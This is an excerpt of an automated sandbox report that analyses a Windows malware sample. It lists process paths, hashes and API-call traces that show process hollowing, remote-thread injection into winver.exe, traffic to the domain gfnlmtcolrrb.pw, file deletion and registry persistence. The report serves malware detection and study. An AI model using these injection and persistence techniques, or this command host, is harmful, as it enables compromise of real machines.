Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	20:41:37
Start date:	20/01/2024
Path:	C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe"
Imagebase:	0xba0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	20:41:37
Start date:	20/01/2024
Path:	C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe"
Imagebase:	0xba0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	9.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	11%
Total number of Nodes:	209
Total number of Limit Nodes:	7

Executed Functions

Function 00401000 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 38
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00A00000,00003000,00000040), ref: 00401064

Strings

alAl, xrefs: 00401036

Memory Dump Source

Source File: 00000000.00000002.1651887371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1651867182.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_java.jbxd

Similarity

API ID: AllocVirtual
String ID: alAl
API String ID: 4275171209-1316302345
Opcode ID: f227270a32c0f617dc1efc8abb71a5ab52e3202e42098f1172127993d55cb963
Instruction ID: 5af7c2372beb94d1e1b866602b7db5847228e6fe9b98f09dddad8bbdacf03bae
Opcode Fuzzy Hash: f227270a32c0f617dc1efc8abb71a5ab52e3202e42098f1172127993d55cb963
Instruction Fuzzy Hash: B1015A36A401618FD765CF18C841F41B3E1BF48325F1A81A5D989AB7A2C778FC92CB88

Uniqueness

Uniqueness Score: -1.00%

Function 02230005 Relevance: 2.6, APIs: 1, Instructions: 1116COMMON

Download Yara Rule

APIs

Part of subcall function 0223098B: OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 022309A5
Part of subcall function 0223098B: GetStartupInfoA.KERNEL32(00000000), ref: 022309BD

ExitProcess.KERNEL32(00000000), ref: 0223001D

Memory Dump Source

Source File: 00000000.00000002.1652248579.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_java.jbxd

Similarity

API ID: ExitInfoMutexOpenProcessStartup
String ID:
API String ID: 213680645-0
Opcode ID: 8ded0c1563596ef065c873257d9f166c149bbeaf12971adc1d4101d8be03d7fe
Instruction ID: f5d3848e1ae131f9fcf9d9035ce1570d0bbbf106777df3fab9219c8c36f54095
Opcode Fuzzy Hash: 8ded0c1563596ef065c873257d9f166c149bbeaf12971adc1d4101d8be03d7fe
Instruction Fuzzy Hash: AA72E1E242E3C54FD7179BE04A64A667F78BF03208B0910CBD5819E0BFD6649B09C77A

Uniqueness

Uniqueness Score: -1.00%

Function 02040000 Relevance: 21.4, APIs: 3, Strings: 9, Instructions: 395
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 02040318
VirtualProtect.KERNELBASE ref: 02040680
VirtualProtect.KERNELBASE ref: 020406FD

Strings

@, xrefs: 0204001F
, xrefs: 0204000F
wJ, xrefs: 0204012E
1;, xrefs: 02040286
d:, xrefs: 020400A0
v, xrefs: 02040141
C[, xrefs: 02040221
y7, xrefs: 02040234
R, xrefs: 02040039

Memory Dump Source

Source File: 00000000.00000002.1652184347.0000000002040000.00000040.00001000.00020000.00000000.sdmp, Offset: 02040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2040000_java.jbxd

Similarity

API ID: ProtectVirtual
String ID: $1;$@$C[$R$d:$wJ$y7$v
API String ID: 544645111-3459585926
Opcode ID: 53f4e89c0dc9a16f3c8cd647b3aa6a18b2ce076b07f4b3090f74fc473a9225f3
Instruction ID: 9aa67840fe29e07c9ffd3953f7bcb7f2fd0f513a94b714468fd582a94542b6c4
Opcode Fuzzy Hash: 53f4e89c0dc9a16f3c8cd647b3aa6a18b2ce076b07f4b3090f74fc473a9225f3
Instruction Fuzzy Hash: CF3277B4E012688BDB64CF68C890BDDBBB1BF49304F1481DAD848A7341DB756E85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 022309FD Relevance: 12.1, APIs: 8, Instructions: 76
threadsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(00000000,022309F6,00000007,E8FFFF1F,E8FFFBFB,00000000,00000000,00000000,00000004,00000000,00000000,E8FFFC3F,00000000), ref: 02230A04
Wow64GetThreadContext.KERNEL32(?,00000000), ref: 02230A2C
VirtualProtectEx.KERNELBASE(?,?,000000EB,00000040,00000000), ref: 02230A57
DuplicateHandle.KERNELBASE(000000FF,000000FF,?,02235834,00000000,00000000,00000002), ref: 02230A9C
WriteProcessMemory.KERNELBASE(?,?,?,000000EB,00000000), ref: 02230ACA
ResumeThread.KERNELBASE(?), ref: 02230ADA
Sleep.KERNELBASE(000003E8), ref: 02230AEA
OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 02230B01

Memory Dump Source

Source File: 00000000.00000002.1652248579.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_java.jbxd

Similarity

API ID: ProcessThread$ContextCreateDuplicateHandleMemoryMutexOpenProtectResumeSleepVirtualWow64Write
String ID:
API String ID: 1738979855-0
Opcode ID: 88fb36c18dc3a4afc247ee75a285c7b14497f4c37b797fc9ee23da592209a9b9
Instruction ID: fe3856f926a676bf3fdc8fa0c0c37ff7a3f810f253ea3a9001e2f7d4e88482cc
Opcode Fuzzy Hash: 88fb36c18dc3a4afc247ee75a285c7b14497f4c37b797fc9ee23da592209a9b9
Instruction Fuzzy Hash: 463182716102159FEF279F50CC84BA977B9FF04748F0801D4AA49FE0E9DBB09A90CE64

Uniqueness

Uniqueness Score: -1.00%

Function 02233409 Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVolumeInformationA.KERNELBASE(02233405,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000104), ref: 02233409

Memory Dump Source

Source File: 00000000.00000002.1652248579.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_java.jbxd

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 05df49bcbb0e52281ffeddc20694d7dcde29ca99da7d602d76b789caa7e7f337
Instruction ID: 0bf4314625267529b0a732a6bd7afd8f3b14ba04a13767d9abb42c21b0816da5
Opcode Fuzzy Hash: 05df49bcbb0e52281ffeddc20694d7dcde29ca99da7d602d76b789caa7e7f337
Instruction Fuzzy Hash: 46F0FE75500154DFEF02EF24C485A9A77F8AF44344F4504C8AA4DBF206CA309595CFA4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02231845 Relevance: .4, Instructions: 370COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1652248579.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ea4e0c3cf8ecf2bfa90a777e44b91728a4d3afd2e27c35c42be2dc60894fdda
Instruction ID: d1ef321f61d42a0d3f06f77403b98c5b857d4a6aacff73942b2859739c0c2a16
Opcode Fuzzy Hash: 8ea4e0c3cf8ecf2bfa90a777e44b91728a4d3afd2e27c35c42be2dc60894fdda
Instruction Fuzzy Hash: 7DC1F7A54286878EE7178E98C0593D2BFD6BB12318F4893C9C19D4F2DBC36981E9C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 02230EA9 Relevance: .3, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1652248579.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d754edaa701a15154bb9a4648fd9545ba8bd32677100c0784a8600ca5aed839
Instruction ID: 639b8e4c648f16845a7acfb299fea36a2729e31a94a3c932e9d459fd17e03abf
Opcode Fuzzy Hash: 0d754edaa701a15154bb9a4648fd9545ba8bd32677100c0784a8600ca5aed839
Instruction Fuzzy Hash: BBB12CA16387878AE7278A98C4153D2BF91BB12328F085389C5DD0F5EBC3B582D9C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 02230C63 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1652248579.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1cf879b00919bdefd480fb5a14bd237a5ae1218ef57fef6b742790238e8c1a6
Instruction ID: 2f9a4e0528707f7fcedbeda766c87151f8b726e0123640c09763cd4513bfca68
Opcode Fuzzy Hash: f1cf879b00919bdefd480fb5a14bd237a5ae1218ef57fef6b742790238e8c1a6
Instruction Fuzzy Hash: 7CD0C579621550CFCA56CB58C1D8E10B3B1FB48764B0A8495E80A8B766C335ED46DE10

Uniqueness

Uniqueness Score: -1.00%

Function 02232951 Relevance: 13.7, APIs: 9, Instructions: 169
filestringsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(02232949,00000008,?,00000000,02232835,00000000), ref: 02232956
VirtualAlloc.KERNEL32(00000000,01400000,00003000,00000004), ref: 02232993
lstrcat.KERNEL32(00000000,022329C1), ref: 022329D0
lstrcat.KERNEL32(00000000,022329F8), ref: 02232A07
lstrcat.KERNEL32(00000000,02232A2F), ref: 02232A3E
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02232AB8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02232AFC
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 02232B52
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 02232B66

Memory Dump Source

Source File: 00000000.00000002.1652248579.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_java.jbxd

Similarity

API ID: DeleteFilelstrcat$AllocLibraryLoadSleepVirtual
String ID:
API String ID: 675344582-0
Opcode ID: d011dff3c69ba8b3f7cae5bbaa392318d89e88feb0221dd9666ec9f6df8cf3c0
Instruction ID: 09ae55a0c74aadddebed18a38829510196056ad4f451233275a5871ea798c354
Opcode Fuzzy Hash: d011dff3c69ba8b3f7cae5bbaa392318d89e88feb0221dd9666ec9f6df8cf3c0
Instruction Fuzzy Hash: 785162F1410314DEDB23AFB08D48FAB77BDFF40705F4445A5AE85EA059EA349A80CEA5

Uniqueness

Uniqueness Score: -1.00%

Function 022329CA Relevance: 10.6, APIs: 7, Instructions: 130
sleepfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,022329C1), ref: 022329D0

Part of subcall function 02232A01: lstrcat.KERNEL32(00000000,022329F8), ref: 02232A07
Part of subcall function 02232A01: lstrcat.KERNEL32(00000000,02232A2F), ref: 02232A3E
Part of subcall function 02232A01: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02232AB8
Part of subcall function 02232A01: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02232AFC

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 02232B52
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 02232B66

Memory Dump Source

Source File: 00000000.00000002.1652248579.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_java.jbxd

Similarity

API ID: DeleteFilelstrcat$Sleep
String ID:
API String ID: 588723932-0
Opcode ID: cf8439a9f46fc1c5678143b13b51c65cbdf78dca36166c9e79c3ab7667b2c553
Instruction ID: 72c4601abf211ce83272df91c288020a991d4c901f94bbe8da884828c25ccd73
Opcode Fuzzy Hash: cf8439a9f46fc1c5678143b13b51c65cbdf78dca36166c9e79c3ab7667b2c553
Instruction Fuzzy Hash: 554112F1410358DEDB23AFB08D48FAB76BDFF40704F404695AE85EA059DA349A80CEA5

Uniqueness

Uniqueness Score: -1.00%

Function 02232A01 Relevance: 9.1, APIs: 6, Instructions: 112
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,022329F8), ref: 02232A07

Part of subcall function 02232A38: lstrcat.KERNEL32(00000000,02232A2F), ref: 02232A3E
Part of subcall function 02232A38: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02232AB8
Part of subcall function 02232A38: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02232AFC
Part of subcall function 02232A38: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 02232B52
Part of subcall function 02232A38: Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 02232B66

Memory Dump Source

Source File: 00000000.00000002.1652248579.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_java.jbxd

Similarity

API ID: DeleteFile$lstrcat$Sleep
String ID:
API String ID: 4261675396-0
Opcode ID: 79bd1a0af3af01ca763be06bdfa33372cb59c75e302318f70dd6acde58cfabce
Instruction ID: 8dddc14f77e93f9c8126f26f5683baa273501f44ec6eb2cbc8d5cfb2319c9eca
Opcode Fuzzy Hash: 79bd1a0af3af01ca763be06bdfa33372cb59c75e302318f70dd6acde58cfabce
Instruction Fuzzy Hash: 7E4123F1410318DEDB23AFB08D48FAB76BDFF40705F4045A5AE85EA058DB349A80CEA0

Uniqueness

Uniqueness Score: -1.00%

Function 02232A38 Relevance: 7.6, APIs: 5, Instructions: 94
filesleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,02232A2F), ref: 02232A3E

Part of subcall function 02232B71: Sleep.KERNEL32(00000001,?,452F5000,00000020), ref: 02232C68

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02232AB8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02232AFC
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 02232B52
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 02232B66

Memory Dump Source

Source File: 00000000.00000002.1652248579.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_java.jbxd

Similarity

API ID: DeleteFile$Sleep$lstrcat
String ID:
API String ID: 531250245-0
Opcode ID: 1956c4aaa65c64439c9b8d6f86777e9786a239e5efddbd3eff6fe4d2a2c1f180
Instruction ID: d4ce18b7aa863885932067c8df2d8dd331955dfb96ca91498db216db02a22af2
Opcode Fuzzy Hash: 1956c4aaa65c64439c9b8d6f86777e9786a239e5efddbd3eff6fe4d2a2c1f180
Instruction Fuzzy Hash: 333113F1510358DEDB236FB08D49FAB76BDFF40709F4045A5AE85E6058DB349A80CEA0

Uniqueness

Uniqueness Score: -1.00%

Function 022331EA Relevance: 7.6, APIs: 5, Instructions: 62
processstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,00000000), ref: 0223320E
GetStartupInfoA.KERNEL32(00000000), ref: 0223324C
CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,022331D9,00000011,?,00000000,00000000), ref: 02233279
CloseHandle.KERNEL32(?,?,022331D9,00000011,?,00000000,00000000,00000000,02233092,00000004,00000000), ref: 02233285
CloseHandle.KERNEL32(?,?,022331D9,00000011,?,00000000,00000000,00000000,02233092,00000004,00000000), ref: 02233291

Memory Dump Source

Source File: 00000000.00000002.1652248579.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_java.jbxd

Similarity

API ID: CloseHandle$CreateInfoProcessStartuplstrcat
String ID:
API String ID: 3387338972-0
Opcode ID: f32ac5f5813da37de2e85505615cf9f5e1a16b83960bb8701c11823c1c915505
Instruction ID: 164437a20e666f5f6c4354d58029402f947c63786da40a96d218a7d49b3dcf67
Opcode Fuzzy Hash: f32ac5f5813da37de2e85505615cf9f5e1a16b83960bb8701c11823c1c915505
Instruction Fuzzy Hash: 5C1124B24106189FDF13AFA0CC48AAFB7FDEF40705F014595E985EA008DA309A90CEA5

Uniqueness

Uniqueness Score: -1.00%

Function 02233F31 Relevance: 6.0, APIs: 4, Instructions: 26
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,?,02233F27,0000000A,E8FFFF1B,00000000,0000000A), ref: 02233F51
Sleep.KERNEL32(000003E8,00000000,?,02233F27,0000000A,E8FFFF1B,00000000,0000000A), ref: 02233F6F
Sleep.KERNEL32(000007D0), ref: 02233F7F
Sleep.KERNEL32(00000BB8), ref: 02233F8F

Memory Dump Source

Source File: 00000000.00000002.1652248579.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_java.jbxd

Similarity

API ID: Sleep$HandleModule
String ID:
API String ID: 3646095425-0
Opcode ID: e04edd3b56a3ae2e38138ccc1fa4ca0e34bf568aa8a0740690bb103294f382c8
Instruction ID: 75e63d1fb4268b9fcdae1f37588b8589bfe87843deeba15f63a909f21bc0a238
Opcode Fuzzy Hash: e04edd3b56a3ae2e38138ccc1fa4ca0e34bf568aa8a0740690bb103294f382c8
Instruction Fuzzy Hash: 93F01CB05683509EFB42BFF08C4C64A3AB9AF01704F4400D0AA89ED09ECF7482508EF5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: winver.exePID: 7396, Parent PID: 7340COMMON

Execution Graph

Execution Coverage:	19.5%
Dynamic/Decrypted Code Coverage:	99.8%
Signature Coverage:	4%
Total number of Nodes:	619
Total number of Limit Nodes:	11

Executed Functions

Function 03392F88 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 72
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

send.WS2_32(?,00000000,00000000,00000000), ref: 03392FF4
send.WS2_32(?,03392A30,03392A2C,00000000), ref: 0339300D
recv.WS2_32(?,03392A30,00A00000,00000000), ref: 03393030
closesocket.WS2_32(?), ref: 0339304A

Strings

gfnlmtcolrrb.pw, xrefs: 03392FDB

Memory Dump Source

Source File: 00000002.00000002.2897958839.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3390000_winver.jbxd

Similarity

API ID: send$closesocketrecv
String ID: gfnlmtcolrrb.pw
API String ID: 3431254638-1614117810
Opcode ID: 9574067959f33b04d739d713f0caaf9cbaae1037dcd8482bb700ab3644756bfa
Instruction ID: bae06507475bace9515d3996c19dfaa7aee6746a7883948ba92cc304f5e060da
Opcode Fuzzy Hash: 9574067959f33b04d739d713f0caaf9cbaae1037dcd8482bb700ab3644756bfa
Instruction Fuzzy Hash: 4E2162B6B00114ABFF119E28CC84B5A7BE9EF44654F054195FE0DEB254D639ED108BA4

Uniqueness

Uniqueness Score: -1.00%

Function 03390DE0 Relevance: 4.6, APIs: 3, Instructions: 57injectionmemorythreadCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,00000000,00004F37,00003000,00000040,E8FFF41B,?,E900001B,03390D88,00000000,0000090B,00000000), ref: 03390E06
WriteProcessMemory.KERNELBASE(?,-000008D9,00000000,00004F37,00000000), ref: 03390E24
CreateRemoteThread.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000), ref: 03390E70

Memory Dump Source

Source File: 00000002.00000002.2897958839.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3390000_winver.jbxd

Similarity

API ID: AllocCreateMemoryProcessRemoteThreadVirtualWrite
String ID:
API String ID: 1718980022-0
Opcode ID: 195885531eb125f92f9d64206e765e7730eee5440e80a1b8655d10872ba2d5a3
Instruction ID: 82015f6d2885552f2f1f7e22f698f6822ba57af5d0037ba70fdad9777b95691c
Opcode Fuzzy Hash: 195885531eb125f92f9d64206e765e7730eee5440e80a1b8655d10872ba2d5a3
Instruction Fuzzy Hash: 62113D32500205FFFF219F25CC85F9A3BA9EF81B54F188051FE04BE1A9D770A521CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 0339292D Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 169
filestringsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(03392925,00000008,?,00000000,03392811,00000000), ref: 03392932

Part of subcall function 03390C9C: GetProcAddress.KERNEL32(03392811,0339290A), ref: 03390CA9

WSAStartup.WS2_32(00000202,00000000), ref: 03392957
VirtualAlloc.KERNELBASE(00000000,01400000,00003000,00000004), ref: 0339296F
lstrcat.KERNEL32(00000000,0339299D), ref: 033929AC
lstrcat.KERNEL32(00000000,033929D4), ref: 033929E3
lstrcat.KERNEL32(00000000,03392A0B), ref: 03392A1A
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 03392A94

Part of subcall function 03392683: CreateFileA.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,00000000), ref: 0339269E
Part of subcall function 03392683: GetFileSize.KERNEL32(?,00000000), ref: 033926B7
Part of subcall function 03392683: ReadFile.KERNELBASE(0339298A,?,00000000,?,00000000), ref: 033926DB
Part of subcall function 03392683: CloseHandle.KERNEL32(0339298A), ref: 033926EC

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 03392AD8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 03392B2E
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 03392B42

Strings

`nIu, xrefs: 03392942

Memory Dump Source

Source File: 00000002.00000002.2897958839.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3390000_winver.jbxd

Similarity

API ID: File$Deletelstrcat$AddressAllocCloseCreateHandleLibraryLoadProcReadSizeSleepStartupVirtual
String ID: `nIu
API String ID: 3655464437-1509933002
Opcode ID: eb8990545cc0a5abdb3de08b12fefd3aa46b733b25a065b3f20c183e55480bf0
Instruction ID: 402dff46f4b8a87c6ad29a4c83522d146d34bded25b34600d6dd5e66d92988ae
Opcode Fuzzy Hash: eb8990545cc0a5abdb3de08b12fefd3aa46b733b25a065b3f20c183e55480bf0
Instruction Fuzzy Hash: 3F513576800718FEEF22EB618DC4FAB77BCEF40705F054897AA45EA055DE709680CEA5

Uniqueness

Uniqueness Score: -1.00%

Function 03390643 Relevance: 16.6, APIs: 11, Instructions: 143
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexA.KERNELBASE(00000000,00000000), ref: 0339065A

Part of subcall function 0339067C: LoadLibraryA.KERNELBASE(03390673,00000009,?,00000000), ref: 03390681
Part of subcall function 0339067C: lstrcmpiA.KERNEL32(?,00000000), ref: 033906EB
Part of subcall function 0339067C: Sleep.KERNELBASE(00001388), ref: 033906FE
Part of subcall function 0339067C: CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 0339071F
Part of subcall function 0339067C: SetFileAttributesA.KERNELBASE(00000000,00000002), ref: 03390731
Part of subcall function 0339067C: CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 03390752
Part of subcall function 0339067C: SetFileAttributesA.KERNELBASE(00000000,00000002), ref: 03390764
Part of subcall function 0339067C: CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 03390785
Part of subcall function 0339067C: SetFileAttributesA.KERNELBASE(00000000,00000002), ref: 03390797
Part of subcall function 0339067C: VirtualAlloc.KERNELBASE(00000000,00100000,00003000,00000004), ref: 033907AB

Part of subcall function 033926F9: CreateFileA.KERNELBASE(?,40000000,00000003,00000000,?,00000080,00000000,?,00000000), ref: 03392715
Part of subcall function 033926F9: SetFilePointer.KERNELBASE(?,00000000,00000000,00000002), ref: 03392732
Part of subcall function 033926F9: WriteFile.KERNELBASE(?,00000000,00000000,00000000,00000000), ref: 0339274E
Part of subcall function 033926F9: CloseHandle.KERNEL32(?), ref: 0339275F

Part of subcall function 03390811: RegCreateKeyExA.KERNELBASE(00000000,03390840,0000002E,?,?,?,?,?,00000002,?,00000000,00000000), ref: 03390876
Part of subcall function 03390811: RegSetValueExA.KERNELBASE(?,00000000,00000000,00000001,80000001,00000000), ref: 0339089D
Part of subcall function 03390811: RegCloseKey.KERNELBASE(?), ref: 033908A9

Memory Dump Source

Source File: 00000002.00000002.2897958839.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3390000_winver.jbxd

Similarity

API ID: CreateFile$AttributesDirectory$Close$AllocHandleLibraryLoadMutexPointerSleepValueVirtualWritelstrcmpi
String ID:
API String ID: 2311107590-0
Opcode ID: 451ba8cbc3e38f52fb34ef88b6eecd67ee371e55e986b10a197f4978837e6b94
Instruction ID: 95386665ed867fd216894fd17775bafcb19295b5e394f4a09591ff93e549b058
Opcode Fuzzy Hash: 451ba8cbc3e38f52fb34ef88b6eecd67ee371e55e986b10a197f4978837e6b94
Instruction Fuzzy Hash: B65131B2504714AFEF16AB60CC88FAA77BCEF44704F05049ABB85EF045DE705650CAA5

Uniqueness

Uniqueness Score: -1.00%

Function 0339067C Relevance: 15.1, APIs: 10, Instructions: 122
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(03390673,00000009,?,00000000), ref: 03390681

Part of subcall function 03390C9C: GetProcAddress.KERNEL32(03392811,0339290A), ref: 03390CA9

Part of subcall function 03392597: lstrcat.KERNEL32(03392634,00000000), ref: 033925DE

Part of subcall function 033906C2: lstrcmpiA.KERNEL32(?,00000000), ref: 033906EB
Part of subcall function 033906C2: Sleep.KERNELBASE(00001388), ref: 033906FE
Part of subcall function 033906C2: CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 0339071F
Part of subcall function 033906C2: SetFileAttributesA.KERNELBASE(00000000,00000002), ref: 03390731
Part of subcall function 033906C2: CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 03390752
Part of subcall function 033906C2: SetFileAttributesA.KERNELBASE(00000000,00000002), ref: 03390764
Part of subcall function 033906C2: CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 03390785
Part of subcall function 033906C2: SetFileAttributesA.KERNELBASE(00000000,00000002), ref: 03390797
